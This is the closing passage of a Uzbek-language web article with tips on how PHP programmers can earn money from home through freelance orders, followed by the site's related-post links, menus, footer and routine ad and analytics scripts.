qilmasa, ulardan foydalanish qiziqarli va eng muhimi, boshqa hech narsadan farqli o'laroq, original ekanligini ko'rishadi. Shunda siz muvaffaqiyatga erishasiz.</p><h3>Buyurtmalar bo'yicha daromadlar</h3><p>Buning uchun faqat frilanserlar uchun turli birjalarda ro'yxatdan o'ting va buyurtmalarni qidiring. Tugallangan ish portfelini namoyish eting. Ammo ehtiyot bo'ling, dunyoda insofsiz odamlar bor va siz aldanib qolmaslik uchun birinchi navbatda serveringizda joylashgan ishni ko'rsating (darvoqe, bu holda siz vps ijaraga olishingiz kerak bo'ladi http:/ /nkvd.pro/vps/) va keyin sizga qisman to'lashsa, yarmini o'z serveriga o'tkazing va ikkinchi qism bilan ham xuddi shunday qiling. Pul topishning bu usuli foydali deb hisoblanadi, ammo sizning bilim va ko'nikmalaringiz darajasiga bog'liq. Bu sizning mijozlaringizning fikr-mulohazalariga ham bog'liq. Pul topishning ushbu usulida muvaffaqiyatga erishish uchun ishni halol va samarali bajaring. Siz mijozlar bilan muloqot qila olishingiz, nima qila olishingiz va nima qila olmasligingizni aniq tushuntirishingiz kerak.</p><p>Bu php dasturchisi uchun daromadlarning to'liq ro'yxati emas, lekin yuqorida yozilgan pul ishlashning ushbu usullari tufayli siz allaqachon uydan chiqmasdan pul ishlashingiz mumkin. Dastlabki bosqichda bu katta yutuq bo'ladi. Asosiysi, u erda to'xtab qolmaslik. Doimiy ravishda yaxshilang va sizga nafaqat yaxshi daromad, balki zavq olib keladigan loyihalarni yarating.</p> <br><b>muallif haqida</b> <br><p>Qanday qilib PHP dasturchisi uyda yaxshi pul ishlashi mumkin?</p> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> <script>document.write("<img style='display:none;' src='//counter.yadro.ru/hit;artfast_after?t44.1;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";h"+escape(document.title.substring(0,150))+ ";"+Math.random()+ "border='0' width='1' height='1' loading=lazy loading=lazy>");</script> </div> </article> <div class="related_block"> <div class="title">Tegishli nashrlar</div> <ul class="recent_ul"> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/64b7401db355528459e6d4f88f75db81.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/uz/chto-novogo-poluchil-stabilizator-zhiyun-crane-plus-tr-hosevoi.html">Uch o'qli elektron stabilizator Zhiyun Crane Plus (2018) harakatdagi vaqt oralig'ida tortishish funktsiyasi</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/84de9f3731f3979985fb57b66b81bd5d.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/uz/kak-vklyuchit-vse-yadra-kak-vklyuchit-vse-yadra-processora-kak-vklyuchit.html">Barcha protsessor yadrolarini qanday yoqish mumkin Windows 10 da barcha protsessorlarni qanday yoqish mumkin</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/79844ffc013d287bb7adc7f3dabe3e13.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/uz/jbl-go-ne-rabotaet-obzor-besprovodnoi-kolonki-jbl-go-plyusy-i-minusy-jbl.html">JBL Go simsiz dinamiklarini ko'rib chiqish</a></li> </ul> </div> </div> <aside id="sidebar"> <div class="block"> <nav class="sidebar_menu"> <div class="menu-sidebar_menu-container"> <ul id="menu-sidebar_menu" class="menu"> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/uz/category/programs/">Dasturlar</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/uz/category/windows/">Windows</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/uz/category/devices/">Qurilmalar</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/uz/category/browsers/">Brauzerlar</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/uz/category/reviews/">Sharhlar</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/uz/category/reviews/">Sharhlar</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/uz/category/setup/">Sozlamalar</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/uz/category/torrent/">Torrent</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/uz/category/editors/">Muharrirlar</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/uz/category/instagram/">Instagram</a></li> </ul> </div> </nav> </div> <div class="block recent_block"> <div class="title">Oxirgi eslatmalar</div> <ul class="popular"> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/95236f72f3e17d8b09868145a5ad3403.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="FlashFire - bu ildizni yo'qotmasdan Android-ni yangilash uchun yangi dastur" / loading=lazy loading=lazy> <span class="cat">Dasturlar</span></div> <a href="https://storerarity.ru/uz/root-sletaet-flashfire-novoe-prilozhenie-dlya-obnovleniya-android-bez-utraty-ruta-poteryayu.html">FlashFire - bu ildizni yo'qotmasdan Android-ni yangilash uchun yangi dastur</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/e2b88b416324d601a10ad22e6eb523e9.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Telefoningizni kompyuteringizdan boshqarish" / loading=lazy loading=lazy> <span class="cat">Dasturlar</span></div> <a href="https://storerarity.ru/uz/peredacha-ekrana-mobilnika-na-kompyuter-upravlenie-telefonom-s-kompyutera.html">Telefoningizni kompyuteringizdan boshqarish</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/08ff898ce3f043c159e55cbc5f956187.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Xiaomi simsiz displeyini qanday sozlash kerak" / loading=lazy loading=lazy> <span class="cat">Dasturlar</span></div> <a href="https://storerarity.ru/uz/besprovodnoi-displei-xiaomi-kak-nastroit-noutbuk-kak-nastroit.html">Xiaomi simsiz displeyini qanday sozlash kerak</a></li> </ul> </div> </aside> </div> </div> <div class="clear"></div> <footer id="footer"><div class="wrapper"> <div class="copy">2024 | Hamma uchun kompyuterlar - O'rnatish, o'rnatish, tiklash</div> <nav class="header_menu"> <div class="menu-footer_menu-container"> </div> </nav> </div></footer> <div id="toTop"></div> <script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js'></script> <nav class="mobile_menu"> <div class="close_menu"></div> <div class="mob_menu"> <div class="menu-mobile_menu-container"> <ul id="menu-mobile_menu" class="menu"> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/uz/category/programs/">Dasturlar</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/uz/category/windows/">Windows</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/uz/category/devices/">Qurilmalar</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/uz/category/browsers/">Brauzerlar</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/uz/category/reviews/">Sharhlar</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/uz/category/reviews/">Sharhlar</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/uz/category/setup/">Sozlamalar</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/uz/category/torrent/">Torrent</a></li> </ul> </div> </div> </nav> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> </body> </html>